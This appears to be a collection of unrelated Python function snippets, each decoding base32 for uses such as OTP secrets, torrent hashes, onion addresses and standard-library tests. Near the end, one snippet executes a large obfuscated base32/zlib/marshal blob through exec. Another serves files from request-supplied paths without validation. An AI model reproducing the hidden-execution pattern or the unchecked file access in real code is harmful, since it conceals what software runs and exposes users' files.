def b32(): if sys.argv[2] == 'e': print base64.b32encode(sys.argv[3]) elif sys.argv[2] == 'd': print base64.b32decode(sys.argv[3]) else: usage()
def test_new_secret(self): # secrets should be unique and 20 characters long (base 32) secrets = set(new_secret() for i in range(100)) self.assertEqual(len(secrets), 100) for s in secrets: self.assertTrue(len(s), 20) base64.b32decode(s)
def validate(self, value, pos): try: b32decode(self.fixup(value)) return QtGui.QValidator.Acceptable except: if self.partial.match(value): return QtGui.QValidator.Intermediate return QtGui.QValidator.Invalid
def byte_secret(self): # In Py3.3+ base64.b64**code take string/bytes but in prior it's # always bytes. if isinstance(self.secret, str): return base64.b32decode(self.secret.encode(), casefold=True) elif isinstance(self.secret, bytes): return base64.b32decode(self.secret, casefold=True) else: raise TypeError("Self.secret is neither bytes nor string..")
def is_valid(code): """ Check if the secret code is a valid one """ try: b32decode(code, casefold=True) return True except (binascii.Error, ValueError): return False
def input_shared_key(): while True: try: shared_key = totp.normalize_secret(getpass.getpass('Shared key: ')) b32decode(shared_key.upper()) if shared_key == "": raise ValueError('The key entered was empty') return shared_key except ValueError as err: print(*err.args)
def b32_to_bytes(s, ignore_error=False): '''Convert base32 string to bytes''' if ignore_error: try: return base64.b32decode(s.encode()) except binascii.Error: pass else: return base64.b32decode(s.encode())
def clean_secret(self): secret = self.cleaned_data["secret"] if len(secret) != 16: raise forms.ValidationError("Invalid secret") try: base64.b32decode(secret) except: raise forms.ValidationError("Invalid secret") return secret
def genKeyLine( code ): secret_key = code.replace(' ','').upper() if len(secret_key) <= 32: key_b32 = secret_key+'='*(32%len(secret_key)) key = base64.b32decode(key_b32) else: key_b64 = secret_key+'='*(64%len(secret_key)) key = base64.b32decode(key_b64) key_bytes = map(ord,key) lengths.append( len(key_bytes) ) key_hex = ["0x%02X" % x for x in key_bytes] return "{ " + ', '.join(key_hex) + " },"
def decode_secret(secret): try: return base64.b32decode(secret, True) except: pass try: return base64.b32decode(secret + '=' * (8 - len(secret) % 8), True) except: pass return secret
def from_b32key(b32_key, state=None): '''Some phone app directly accept a partial b32 encoding, we try to emulate that''' if len(b32_key) % 8 not in (0, 2, 4, 5, 7): raise ValueError('invalid base32 value') b32_key += '=' * (8 - len(b32_key) % 8) b32_key = b32_key.upper() try: base64.b32decode(b32_key) except TypeError: raise ValueError('invalid base32 value') return GoogleAuthenticator('otpauth://totp/xxx?%s' % urllib.urlencode({'secret': b32_key}), state=state)
def vfsopen(request, file): try: try: file2 = b32decode(file).decode('utf-8') except: file2 = b32decode(file.encode('utf-8')).decode('utf-8') plik = default_storage.fs.open(automount(file2),'rb') buf = plik.read() plik.close() except: buf = '' return HttpResponse(buf)
def test_b32decode(self): eq = self.assertEqual tests = {b'': b'', b'AA======': b'\x00', b'ME======': b'a', b'MFRA====': b'ab', b'MFRGG===': b'abc', b'MFRGGZA=': b'abcd', b'MFRGGZDF': b'abcde', } for data, res in tests.items(): eq(base64.b32decode(data), res) eq(base64.b32decode(data.decode('ascii')), res)
def set(service, key): """Accepts a service and a key and saves it out to the keyFile.""" keys = setup_keys() # convert Google Authenticator style space-separated lower-case to upper # case without spaces key = re.sub('\s','',key.upper()) try: base64.b32decode(key) except TypeError: click.echo('{} is not a valid key'.format(key)) else: keys[service] = key save_keys(keys)
def get_key(self,id,enc_key=None): """ A convenience method to get a key from the config file. If enc_key is provided, the key are decrypted with AES. If enc_key is None, use the key provided during the initialization of this class. """ if not enc_key: enc_key=self.key kf = None if enc_key: kf=self.get('Keys:'+id,None) if kf: kf=AES.new(enc_key).decrypt(base64.b32decode(kf)) else: kf=self.get('Keys:'+id,None) if kf: kf=base64.b32decode(kf) return kf
def nodecaps(self,firstcap): if firstcap[1] == 'o': #Check for read-only or attenuated cap prefix. cap1=None #There is no unattenuated/rw cap for this one cap2=firstcap #We use the function argument as ro/attenuated cap key2=base64.b32decode(firstcap[3:]+"====") #Calculate the FEK by decoding the non-prefix part of the ro/attenuated cap. else: cap1=firstcap #Use the function parameter as rw/unattenuated cap key1=base64.b32decode(firstcap[3:]+"====") #Decode the non-prefix part of the unattenuated cap. key2=_macfun(b"read-only::nosalt",key1) #Derive the FEK by hashing a fixed string with cap1 as key. cap2="ro-" + base64.b32encode(key2)[:-4].decode("utf-8") #Also encode the FEK into a cap for ro/attenuated access. key3=_macfun(self.cloudsecret.encode(),cap2.encode()) #Derive a third key from the attenuated/ro cap str3= base64.b32encode(key3)[:-4].decode("utf-8") #Now start off with encoding in base32. location = str3[0:3] + "/" + str3[3:6] + "/" + str3[6:] #Create a path for a ballanced directory tree for where to serialize our nodes. return (cap1,cap2,location,key2)
def test_compatibility(self): # Confirm that the KDF used by the SigningKey constructor doesn't # change without suitable backwards-compability seed = base64.b32decode('XS27TJRP3JBZKDEFBDKQ====') signer = ecdsa.SigningKey(seed) v1 = signer.get_verifying_key() vs = v1.serialize() vs32 = base64.b32encode(vs) self.failUnlessEqual(vs32, "ANPNDWJWHQXYSQMD4L36D7WQEGXA42MS5JRUFIWA") v2 = ecdsa.VerifyingKey(vs) #print base64.b32encode(signer.sign("message")) sig32 = "EA3Y7A4T62J3K6MUPJQN3WJ5S4SS53EGZXOSTQW7EQ7OXEMS6QJLYL63BLHMHZD7KFT37KEPJBAKI===" sig = base64.b32decode(sig32) self.failUnless(v1.verify("message", sig)) self.failUnless(v2.verify("message", sig))
def test_b32decode_error(self): tests = [b'abc', b'ABCDEF==', b'==ABCDEF'] prefixes = [b'M', b'ME', b'MFRA', b'MFRGG', b'MFRGGZA', b'MFRGGZDF'] for i in range(0, 17): if i: tests.append(b'='*i) for prefix in prefixes: if len(prefix) + i != 8: tests.append(prefix + b'='*i) for data in tests: with self.subTest(data=data): with self.assertRaises(binascii.Error): base64.b32decode(data) with self.assertRaises(binascii.Error): base64.b32decode(data.decode('ascii'))
def add_server(server, seed=None): """ Append new server to the plugin configuration. """ if seed: # Test seed if len(seed[0]) == 40: unhexlify(seed[0]) seed = seed[0] else: b32decode(''.join(seed).replace(" ", ""), True) seed = ' '.join(seed) weechat.command("", "/secure set %s_seed %s" % (server, seed)) servers = get_config_as_list("otp_server_names") if server not in servers: servers.append(server) weechat.config_set_plugin("otp_server_names", ','.join(servers))
def __smsAuth(self, smsKey=None): if smsKey is None: smsKey = config.smsKey if smsKey is None: from getpass import getpass smsPin = getpass("SMS PIN: ") content = self.__do_page('smsauth', {'smsUserPin': smsPin}).read() else: smsKey = base64.b32decode(re.sub(r' ', '', smsKey), casefold=True).encode("hex") content = self.__oathtoolAuth(smsKey) try_count = 1 while "The code you entered didn't verify." in content and try_count < 5: sleep_seconds = 10 try_count += 1 print 'invalid code, retrying after {0} seconds (attempt {1})'.format(sleep_seconds, try_count) import time time.sleep(sleep_seconds) content = self.__oathtoolAuth(smsKey) del smsKey return content
def _get_torrent_hash(self, result): if result.url.startswith('magnet'): result.hash = re.findall('urn:btih:([\w]{32,40})', result.url)[0] if len(result.hash) == 32: result.hash = b16encode(b32decode(result.hash)).lower() else: if not result.content: logger.log('Torrent without content', logger.ERROR) raise Exception('Torrent without content') try: torrent_bdecode = bdecode(result.content) except BTFailure as e: logger.log('Unable to bdecode torrent', logger.ERROR) logger.log('Torrent bencoded data: {0}'.format(str(result.content)), logger.DEBUG) raise try: info = torrent_bdecode["info"] except Exception as e: logger.log('Unable to find info field in torrent', logger.ERROR) raise result.hash = sha1(bencode(info)).hexdigest() return result
def _makeURL(self, result): urls = [] filename = u'' if result.url.startswith('magnet'): try: torrent_hash = re.findall(r'urn:btih:([\w]{32,40})', result.url)[0].upper() try: torrent_name = re.findall('dn=([^&]+)', result.url)[0] except Exception: torrent_name = 'NO_DOWNLOAD_NAME' if len(torrent_hash) == 32: torrent_hash = b16encode(b32decode(torrent_hash)).upper() if not torrent_hash: logger.log(u"Unable to extract torrent hash from magnet: " + ex(result.url), logger.ERROR) return urls, filename urls = [x.format(torrent_hash=torrent_hash, torrent_name=torrent_name) for x in self.btCacheURLS] except Exception: logger.log(u"Unable to extract torrent hash or name from magnet: " + ex(result.url), logger.ERROR) return urls, filename else: urls = [result.url] if self.providerType == GenericProvider.TORRENT: filename = ek(os.path.join, sickbeard.TORRENT_DIR, sanitize_filename(result.name) + '.' + self.providerType) elif self.providerType == GenericProvider.NZB: filename = ek(os.path.join, sickbeard.NZB_DIR, sanitize_filename(result.name) + '.' + self.providerType) return urls, filename
def denusumubase32(self): try: import base64 self.message = base64.b32decode(self.message) except: print "[-] Base32 encding error"
def name_to_ipv6(addr): if len(addr)>6 and addr.endswith('.onion'): vchAddr = b32decode(addr[0:-6], True) if len(vchAddr) != 16-len(pchOnionCat): raise ValueError('Invalid onion %s' % s) return pchOnionCat + vchAddr elif '.' in addr: # IPv4 return pchIPv4 + bytearray((int(x) for x in addr.split('.'))) elif ':' in addr: # IPv6 sub = [[], []] # prefix, suffix x = 0 addr = addr.split(':') for i,comp in enumerate(addr): if comp == '': if i == 0 or i == (len(addr)-1): # skip empty component at beginning or end continue x += 1 # :: skips to suffix assert(x < 2) else: # two bytes per component val = int(comp, 16) sub[x].append(val >> 8) sub[x].append(val & 0xff) nullbytes = 16 - len(sub[0]) - len(sub[1]) assert((x == 0 and nullbytes == 0) or (x == 1 and nullbytes > 0)) return bytearray(sub[0] + ([0] * nullbytes) + sub[1]) elif addr.startswith('0x'): # IPv4-in-little-endian return pchIPv4 + bytearray(reversed(a2b_hex(addr[2:]))) else: raise ValueError('Could not parse address %s' % addr)
def magnet_to_infohash(magnet): import re import base64 m = re.match(r'magnet:\?xt=urn:btih:(.*)', magnet) assert m, magnet code = m.group(1) return base64.b32decode(code)
def get_hotp(secret, intervals_no, as_string=False): """Get HMAC-based one-time password on the basis of given secret and interval number. Keyword arguments: secret -- the base32-encoded string acting as secret key intervals_no -- interval number used for generating different tokens, it is incremented with each use as_string -- True if result should be padded string, False otherwise >>> get_hotp('MFRGGZDFMZTWQ2LK', intervals_no=1) 765705 >>> get_hotp('MFRGGZDFMZTWQ2LK', intervals_no=2) 816065 >>> get_hotp('MFRGGZDFMZTWQ2LK', intervals_no=2, as_string=True) '816065' """ try: key = base64.b32decode(secret) except (TypeError): raise TypeError('Incorrect secret') msg = struct.pack(">Q", intervals_no) hmac_digest = hmac.new(key, msg, hashlib.sha1).digest() o = ord(hmac_digest[19]) & 15 token_base = struct.unpack(">I", hmac_digest[o:o + 4])[0] & 0x7fffffff token = token_base % 1000000 if as_string: return '{:06d}'.format(token) else: return token
def _publish(self, announcement): self._debug_counts["inbound_message"] += 1 self.log("introducer: announcement published: %s" % (announcement,) ) (furl, service_name, ri_name, nickname_utf8, ver, oldest) = announcement #print "PUB", service_name, nickname_utf8 nodeid = b32decode(SturdyRef(furl).tubID.upper()) index = (service_name, nodeid) if index in self._announcements: (old_announcement, timestamp) = self._announcements[index] if old_announcement == announcement: self.log("but we already knew it, ignoring", level=log.NOISY) self._debug_counts["inbound_duplicate"] += 1 return else: self.log("old announcement being updated", level=log.NOISY) self._debug_counts["inbound_update"] += 1 self._announcements[index] = (announcement, time.time()) for s in self._subscribers.get(service_name, []): self._debug_counts["outbound_message"] += 1 self._debug_counts["outbound_announcements"] += 1 self._debug_outstanding += 1 d = s.callRemote("announce", set([announcement])) d.addBoth(self._debug_retired) d.addErrback(rrefutil.trap_deadref) d.addErrback(log.err, format="subscriber errored on announcement %(ann)s", ann=announcement, facility="tahoe.introducer", level=log.UNUSUAL, umid="jfGMXQ")
def dump_cap(options): from allmydata import uri from allmydata.util import base32 from base64 import b32decode import urlparse, urllib out = options.stdout cap = options.cap nodeid = None if options['nodeid']: nodeid = b32decode(options['nodeid'].upper()) secret = None if options['client-secret']: secret = base32.a2b(options['client-secret']) elif options['client-dir']: secretfile = os.path.join(options['client-dir'], "private", "secret") try: secret = base32.a2b(open(secretfile, "r").read().strip()) except EnvironmentError: pass if cap.startswith("http"): scheme, netloc, path, params, query, fragment = urlparse.urlparse(cap) assert path.startswith("/uri/") cap = urllib.unquote(path[len("/uri/"):]) u = uri.from_string(cap) print >>out dump_uri_instance(u, nodeid, secret, out)
def get_hotp_token(secret, intervals_no): key = base64.b32decode(secret, True) msg = struct.pack(">Q", intervals_no) h = hmac.new(key, msg, hashlib.sha1).digest() o = ord(h[19]) & 15 h = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000 return h
def validate_external_mode_cli( cls, args ): """ Assign the given command line arguments to local variables. """ uniformDHSecret = None try: uniformDHSecret = base64.b32decode(util.sanitiseBase32( args.uniformDHSecret)) except (TypeError, AttributeError) as error: log.error(error.message) raise base.PluggableTransportError("Given password '%s' is not " \ "valid Base32! Run 'generate_password.py' to generate " \ "a good password." % args.uniformDHSecret) parentalApproval = super( ScrambleSuitTransport, cls).validate_external_mode_cli(args) if not parentalApproval: # XXX not very descriptive nor helpful, but the parent class only # returns a boolean without telling us what's wrong. raise base.PluggableTransportError( "Pluggable Transport args invalid: %s" % args ) if uniformDHSecret: rawLength = len(uniformDHSecret) if rawLength != const.SHARED_SECRET_LENGTH: raise base.PluggableTransportError( "The UniformDH password must be %d bytes in length, ", "but %d bytes are given." % (const.SHARED_SECRET_LENGTH, rawLength)) else: cls.uniformDHSecret = uniformDHSecret
def main(): print(b32decode(input().encode('utf-8')).decode('utf-8'))
import zlib, base64 print 'Inpub user name:' print base64.b64encode( zlib.compress( base64.b32decode('JVXWG23VOBZUC2LSPQSXG7BQPRBXYOJZHE4TS===') % raw_input()))
def b32(s): try: return base64.b32decode(s).decode("utf-8") except: return 0
def load_torrent(self, filepath): if not filepath.startswith('magnet'): logger.info('filepath to torrent file set to : %s' % filepath) if self.client._is_authenticated is True: logger.info('Checking if Torrent Exists!') if filepath.startswith('magnet'): torrent_hash = re.findall("urn:btih:([\w]{32,40})", filepath)[0] if len(torrent_hash) == 32: torrent_hash = b16encode(b32decode(torrent_hash)).lower() hash = torrent_hash.upper() logger.debug('Magnet (load_torrent) initiating') else: hash = self.get_the_hash(filepath) logger.debug('FileName (load_torrent): %s' % os.path.basename(filepath)) logger.debug('Torrent Hash (load_torrent): "%s"' % hash) #Check if torrent already added if self.find_torrent(hash): logger.info('load_torrent: Torrent already exists!') return {'status': False, 'error': 'Torrent already exists'} #should set something here to denote that it's already loaded, and then the failed download checker not run so it doesn't download #multiple copies of the same issues that's already downloaded else: logger.info('Torrent not added yet, trying to add it now!') # Build an arg dict based on user prefs. addargs = {} if not any([mylar.CONFIG.QBITTORRENT_LABEL is None, mylar.CONFIG.QBITTORRENT_LABEL == '', mylar.CONFIG.QBITTORRENT_LABEL == 'None']): addargs.update( { 'category': str(mylar.CONFIG.QBITTORRENT_LABEL) } ) logger.info('Setting download label to: %s' % mylar.CONFIG.QBITTORRENT_LABEL) if not any([mylar.CONFIG.QBITTORRENT_FOLDER is None, mylar.CONFIG.QBITTORRENT_FOLDER == '', mylar.CONFIG.QBITTORRENT_FOLDER == 'None']): addargs.update( { 'savepath': str(mylar.CONFIG.QBITTORRENT_FOLDER) } ) logger.info('Forcing download location to: %s' % mylar.CONFIG.QBITTORRENT_FOLDER) if mylar.CONFIG.QBITTORRENT_LOADACTION == 'pause': addargs.update( { 'paused': 'true' } ) logger.info('Attempting to add torrent in paused state') if filepath.startswith('magnet'): try: tid = self.client.download_from_link(filepath, **addargs) except Exception as e: logger.error('Torrent not added - %s' % e) return {'status': False, 'error': e} else: logger.debug('Successfully submitted for add as a magnet. Verifying item is now on client.') else: try: torrent_content = open(filepath, 'rb') tid = self.client.download_from_file(torrent_content, **addargs) except Exception as e: logger.error('Torrent not added - %s' % e) return {'status': False, 'error': e} else: logger.debug('Successfully submitted for add via file. Verifying item is now on client.') if mylar.CONFIG.QBITTORRENT_LOADACTION == 'force_start': logger.info('Attempting to force start torrent') try: startit = self.client.force_start(hash) logger.info('startit returned: %s' % startit) except: logger.warn('Unable to force start torrent - please check your client.') else: logger.info('Client default add action selected. Doing nothing.') try: time.sleep(5) # wait 5 in case it's not populated yet. tinfo = self.get_torrent(hash) except Exception as e: logger.warn('Torrent was not added! Please check logs') return {'status': False, 'error': e} else: logger.info('Torrent successfully added!') filelist = self.client.get_torrent_files(hash) #logger.info(filelist) if len(filelist) == 1: to_name = filelist[0]['name'] else: to_name = tinfo['save_path'] torrent_info = {'hash': hash, 'files': filelist, 'name': to_name, 'total_filesize': tinfo['total_size'], 'folder': tinfo['save_path'], 'time_started': tinfo['addition_date'], 'label': mylar.CONFIG.QBITTORRENT_LABEL, 'status': True} #logger.info(torrent_info) return torrent_info
def checkChallenge(challenge,pubKey): org,encoded=challenge.split(":") org=b32decode(org).decode('utf-8') encoded=decode(b32decode(encoded),pubKey) return org==encoded
def decode(info): return str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8')
def b32decode(s): return base64.b32decode(s)
def key_filter_out_windows(key): """ We need to decode the keys so regex based removal works. """ return base64.b32decode(key)
def test_b32decode_error(self): for data in [b'abc', b'ABCDEF==', b'==ABCDEF']: with self.assertRaises(binascii.Error): base64.b32decode(data) with self.assertRaises(binascii.Error): base64.b32decode(data.decode('ascii'))
def encrypt(self, data): data = b32encode(data) cipher = AES.new(b32decode(self.key), AES.MODE_EAX) ciphertext, tag = cipher.encrypt_and_digest(data) #pdb.set_trace() return cipher.nonce + tag + ciphertext
#Hai Stah ^_^ #Mau Recode yak? :) #Mehehehe #Encrypt By Maestro #WA 081360479719 import marshal,zlib,base64 exec(marshal.loads(zlib.decompress(base64.b32decode("PCOO3PIJPAONS5I6PKVROAG5IBRV7OIWZAQQTEUDPURTSA3SJCBJXBQEVEDDTGBBIVQQVKACKBAG73FKE2ABSUEWGJ5HVCJMJMRXTRTDJ5DLCFGJOISCWXTCHGYSGO2OCR6V63BLP23D5L2PJI7DT7FC4TSSL7X4TZR7XWLZ6GNXPT5ZJNKXKVZPACERSSRCS7NVLN7OL23456OPXHTZ4O2P7CPTB7P7BT6W77O5CAQTV7NHSACCCN7FWVBG4KXCHJAG4BWEOWINYDEK5MILSGIS25QXEMZMV2V4RTJKOFOU23SWRPVRU4VTIZOEPSGNRC4I5EU3KFYV2S3O23RHLABE5JEDERTOY2ELFXRID3LZHG7VMQTLLB4ERQDLEERF3HPSLCVCDCCCZUZEIHZIUQUUSRBJ45ZSGSIZWTM6BSFOEZAIZEGJAOSMCLGSJWKCN23BABPOVOQLUZBLXHMUUFFDRUMAVJVGH7F62RFPMY37KZFZSW6EEB5OQMMB2ZFZSMMF33ABXXMUDYHRJ2ZLYC2S5C2OWEP2JRI7IOCZKQQPT3DOULLZCD6T3R5YQHWDRO6UJL6HBOK6QDLY2FG7IRTSOMP5DG7QOY75DG4J6YCFTJGXA4QNIDTCPAEMGHQMB7R5GIYYD3C7ASIMPMY6ZQ5QD7BQCDAHGEOME4AYYMIQYRZRDTBXAHGDMNCKPY3TTTUHIVCOCC6Q3G7UCTI5X4PCNGRHPYGFATITX4PCETI3X4HCCTIXPYGFGNCN7CIXU6E34CZPZYIH2N26TQS7UHV4TASPUXV4HBDXIFJPZYJ32GZPFYIH2H26LQSPU7V4XBCPIJ7Q4I6UIP4AC7HRF7JALZOCN6RBXS4EF5A6XSMCF6TBXS4EV5BDPBYY32CH6HRL2RD7CIX6ERHPYWFWTIXX4HCXLIXX4PCQ3IQP4DCXGRA7YSFRTIQP4HC7GRA7Y2FRPCB6QILTPCJ6RIL3PCB6QYL66I72HBPNYJX2GG6HQP6RR7R4KLGRJ7QMLC2EP4FC6NFCH6GRO42ET7AIW6NCT7CAXHPIU7YMEIH2GN4LCQHU2N4LCSHUGN4LCRHUWN4GCET5CIXZNCL6BYXVNCD6DYXRERF7QALUTIS7YSFRJUJP4FCZV2HPYGFQZUM7YWFTXRGICL6TF6JQUUGBMMLMUJPSCKYBSL6XBSDIELFTTISPYHCF7PSLN2XBF7JKGFLMSSQVZGXIJ5DL4TBEKYYPPQBMVHIPQ72PPCSHGTRVGIRWQUP6W5GPGSSURZW36THVJD2CF7WSQDNOF5SQ2TN7SZHCPLDWPKNTCM2DVKM3E3BNSFIJHRX4SKLDEXZSVS3PYR2Z4NHM5MDMRMK5IQEDWPUVJSUYW7GXJ2S4G2N45MQH2U2DRE2NV5NENVVGSSIOJ3EFMN3A3PKINJV3HNUZGRGEQZSBINXNANF5U4LY3FDNYXU63VMMSHK7VD7XDUNVA62OU72GZWWUT5JDCUV5MKTMZ7XBUG7IDPVBUHIZD7TDUN66VDNHKRJT7LC6ZPJDNJP3Q75ANB72I2DINVPHRSWEKG6UJ5XQPR7GAVYYMKWPIK25AYJ2GALS5WUUMDI5CDPAQBI6ENG5COQI7JRM5DL44W4DJ4OR6TG65K7K3HS3GPWZ4IHUBMPKOLI3V2WXKC53M3AEGKG6BEWERJRP3JK7IZ6FJDSLJ3DORAGWCI6CZI6DIBDONJCIHJSZQPXCSQFA54C4RWQJWJA4RZHNEFZC6SBWAJAIGNYUYJNEXSJLNXDANESNJJODWXYJSCXI5DJA5EMKOGPPWSIBSG5TXQBC6HQ2GCCS6I5ZWQZJPGN7MZBRG3FIX7NYIS34BU65AFTMNRLEX2PJERTIASZTMVRVOE7U4UAGPGZXNRWYLJMGPRVRRLTCVBRWQFUOAGSNNZVVSV66E7ITUWFP5DJJAPHDQVELOH4IAHEHWXJ5BROJ3PDWCOHI2UZODHMCAFQ6GEEATB3DUNDUHDUKBQAQ2DT625B45YIXEJ2GMY3JB64M2M5Z5IYK53MXHWVP4UIFSDWDEPFHKIBHTMAPATVG4IIWQDLUXX5YAZKV4NWDQYB5GWMDJ54KC647HVSACL55QPLAIE72EOGYHBGGMSRX23MCAGUZQRDEODPHROOY2V4JQG3GYPM5WMY7K2WWWQGRZVDYEMCE2EFURAYV4LQY2E4EZTWDOBP46RZTUY2CQPKKKRUWMIYKZGBGERBBLB5RU65JSCHMTWYDGC4HFWVTLGSPB6ZAPYDDMDULR2B23XFJEUZTQLCB7QXLBI4LN77AJ7HZSVJ5QY7MKO6BHAROGEAAXCM4WWCG6HR6OWGLEEUGSHA26C536UJIMRXBOSA3JS22IJFQ2Q3EBX3LASLJUR63IZTJQFVBIP6L4HSC37TZD3S7PN7RO4WHT76HX3WP737VJ77MTL346LNV77HWC7UQ7POB4TR4SK2XE5C4NPAEYUFCUVT7SRD2R3GP7XLV7O777IL65P76Y365OPTW762Q7XT75XK7XL353F2QDEJC3GVZADBO3ZIPGSSRUEQ7JX3LN5Q5NT7DAXG73Y3Y6EKSZ3ED7TP6XH5Z775OOVH47ERC2KWKPMUAW6QV4M7Y3WOYX7LTAJ246MSG6YUAJE722ORD6SEI76LYKKGOFO7S54G2OFOYYPQ7DZD6SW37A5GOLZFGOVMVG76IJOFYOL5NZ5HV7BK7M2V4F7FPLZSLCQ6J3S3E2JM3XIHA2OE2DZ6WU54D4MK6544XPZOMRXVTZ4VWVRXYHP4F5OT26XPCOEROUTH2KA5LL2CUL6RCKF2M7NRG4LV7RNB4THNXI2JEXNU5WFHPIL426ZJG5LTPH2O6YT3KSRIWPU55DKIE7VNPQI357PJX7HUSQQQFB76TZTZYSKHDY6BRBCWGG3MAGHTR5ZGXEEQKEHIXHREIEMIX4A2UAQW3HEEUKZUMXSRY7PS7O3ISOL72KTVQS6QR4NX6BVX5G47HCW4M6HS3IRTZ6GRBQLYTLLMBH5QS36ORB3ECACYANI5UMGSMBNVZQLKDMXKINUI5HGBLS4ON5XCAFFWQ3CIRIQDVMDAZ3XYGA4RKNWV47ZISFEV4EYUGSJYIPQYFMVKITYL2QJLMIYIKM4WQDYBLTSN5AINETAV4IJOEPPMEEPSKOBK4LLVKZBZDLFYES5VWBDBXKDGAGVD4C6CD2WQEJUOGLCJDHDQKSLYBVCS6SAAT2WJBLSTZH7VSJLPTET6SCSCH34MYBZN7AUAZCJTCRWWMO5HLHOEF2C3CEIKRAX2BGRTNOYOOTE52UEVSMPCK4JYLAEKHV7YGURSAVAQRN2V4V45J7UCZLOSL4YW4BSOQQTECZDAYYEZGZM2GYCPXENFVERY2KU7F2L2LTKPJJONSJMHST7KSPGRQBSMW6HNZFUMNFWNUNYAK4XS7GBLTJS2U7GDT5FVUO2ECYQ6JFNDPFLURGVMZEPX4MN2RDCNFV4MKSRJKLIMCWWA2HYO2ITZZTHUF7SE2IZFJ6X47GOZH2AYDAOV4NXASYXNFUJUDURRXKSNT4DNF5M7DGBL22RXCAHUTGWKKWLYHW5JCHGY3VIXF2Q4SGYNKFPURIRNQFKCRPC2WF22RQVK5CR4CY6LUNTUNRYHQ3DAMR6HR6HA6GZSUPT7VWK3PGCXTYZ3IA44WLJXP46WR7ZJRW4C53HGOZXHRXFVVSBFSJVUZSACJ6XBCXVUKNIHL7ASWO6YQFGDCLGVEUKEJC5F6PYN3EZFV2VMTHFOJ3FYRLITKOCVDDYINX75ULQ3GCCGWFVJYHSGQHHWEVB2IMAT6XBEBVKI44Z6NMWCH5EHFD3NFVPWBV2SPNJLG5BOJIZYJXUJMNM2X4QAST72IUYIXSIOSQJDBLJDMUMUXEB5AYSKPRT7A2K3VCTEAFFFNUPL6ZCX5YJ6UYCKSAJK2XNBI6UAYRDJJJCAQJ2CFBL2HSUSIQEXFZVBRADZEG2IPBXBBAVGBU4NOJJEGJEEZZTWE7F3RYYREMMFB6RPR2EJPIDDDR5QWYLOGPYAF4BGG53B5QOUMPWGYQEXKHQCSEBIA3I5BKB42N66SQZQG6LBN5XQNGFG357OFWIMKXZB7K44VM34RJJHIVGLXNNIEFA6LGDO2ZY3FOMGHS45IHEF5QFF46WKPKZHJ3S2FKAZSG4ENRHGZXAZFRB45TBNZYKAJ6A4J5FEURHPTHIWQ5ZBRIVH4BTYMWGOEOAEMHAM6NLYRLRIPRKUU6P5UOT6BARGVRBEYZXY6PZT5RMMXTCDAGPYPTD57TMZ33ZHX77SXXA74RJ3V3D23PDSP5Q5OOP45ZI4I2265RT2DOATZ2MMNQUUA4MICTQRCLNFL2GII2HTNBNTSW32K6A6ASY6N6ACO6VVKDGUFVOYLZYTRGWOADA34DAQ4WEPRLUCIBNKCIXVU3QAYFHCKCHYJ4SMETKJEIR46G4QMNP6RUMCDG3F6XWNEK7EPHFBZIKPEMMWLGI34GZ2EX6MVO2DC2BUNBKAW7BNJ5JVCHS7YTENH4GVJKIJJPLKQMV7XSCFVEGI73C3BCWHPKYUIOBXEIW4XIB6N3SQTPEMOPMQWFVUCEZLW6ILDPIVWQUWHNANFV7UY3YHFVVBRXUJVJJ7YWOB753AENXUZRPQ3KSSGHIDHNGSXO62BHU5KM54DJZ2OYXUY3DWWJOID6SRDAGSVMSRQUFGSDNWNJYFGBPNVOTJWYLYIBUXMRVVFBHUOEHRDSABNW53YBQU2GZPD6CFJLZIZI6ZVYTPELFTXSOGRVMV4A5FY5CHXPMEN6L4FGNI3FPEXNRCEBS62QWK5CCEVCGIMGMGMWTKG4UFY6ISKRQYQSPRI4QJHAVG3BDZM57D5PIYF6JPA6TPRHQUARD4KKF6THIB7FF2WE6RPTMKU7EHFAOQLBRI3T3Y6WAN5X52MFA3SAIQKSG3QJCOYPGJBUOYG5O566KRQ6RXPBJUB6FTJBW4IRQX3DVKH35OCUUU7L5FTG6TNJ45HZ6PDW47V5KZ2VE6KHLW4AGVAT7RNDJKJBYBAIPJ3S7KMZBBAMRBAVYQZKWDQVOSKUF4PUGXQZF2FML6M2DXAERGJXYCW3XUYJOTVOAABEGJIVOUI3NKFVHMXZJLVITNGWKENXELMDHIC4JCTYCKC3IBOSZ3NP2GVRW5SMRIYC7UL3FRRM5LYZ5MJMPDYNNDDEPDQPBWHAZ2636FR6GA2DOMF4PR5VQGQUCXM6D4O5DZVSQ5HRDANIEWWVS6Z4MJGGK6PSWGHATZK7BLUG2U5SE7PTG7DVNLIUSGKYZQ3WNEW27WJJQM3HJR6GEUCGLMKNZUHWZ7HNG3UZQ42DBGKJZ5VQQYWDJDGN5GCODJKGDVRGGUVTP5XBGUITITKZJYQYDMLS3DK22ZBFMYUG2TXGWO2SGEYDOYTQN6QGY2DBPD6NDPDBPRSG44D6RZGI7TQNB4H47TIPBSHQXA32GDIO3CAIHSTVCWIQSHQVYQ6KG6Q3ABLP4MHA4FBYPEBZWAAYRAW6ZNXEC7CUGAFXPJR3HZXCDWKLQJAMBYWYVCQFJZUMA47WAYYVD2CIWWUKBQFOWLXIVEQ2HOULPEX2RDZSHWSLS2A5OJGDHW24Z426WBS5XJSWIKMR53FSYZFQZKGZNVESC2VSOKOBA2CC7VJQZMMP3KD2LMF5SIA63AHSMGCCWBOPBVV24JVMMY2WZMWXQGUSGS4ESYE54LZSGQ7FQGBTSUVWE4LVNTDEZ3JYMD52TMZYCKQ2KTAZSXWJUTUWSWAG6K7RRIMXTGPU5ZSSWZ55OSIJ543JWVL3WIFKWJCOBV7HPZ4UYH5HBHSPPVB64OPEIEI7BIQRYETR4B5VCQD4KHQHOCFBCHLAATHDCC54MFR4L5QSX2STDFSEZEX5MXDR53OYQXSHTTGJACONWXVNSHD3GVF4NSKPM7LLCNGTTJO3HEYJDK7XCI2BZDAC3TCFZWABMKBC4TTJHJ4NS2FTAXQTTCKIWVKLBBZQ7ZSEZNM4LRVYRVHWMJ5XM3EVTU6MIU5BZYQAOHRYORB3S2WHLC2DENGLPYSHRFN7SOU7JBN6ZU4BW6CG5RKZTI3DEQFEVQ4Q3KBCVHC4MAJ5IHB6FATCFXUGOA6MZCW3EXW22X4LFITC3MZQZNHFHGXDLZI76A66H2CKQ6XBPQRQVHRSNYL7THBTCICCYS4WIABBVVAKTJXQUBUQ7U3GOSUHDD7ASI5RVXVPJSRGFJKPNBKKVFBXFKJDJUNUKCN3ODCLBMVPIXJ7RAQZ3CYIZAC4MMRNEHOLPCE6MVRQV3IIIV26ULQTV564MREOB2HMOUBBWKANUEAGZA3XDQNCBOIE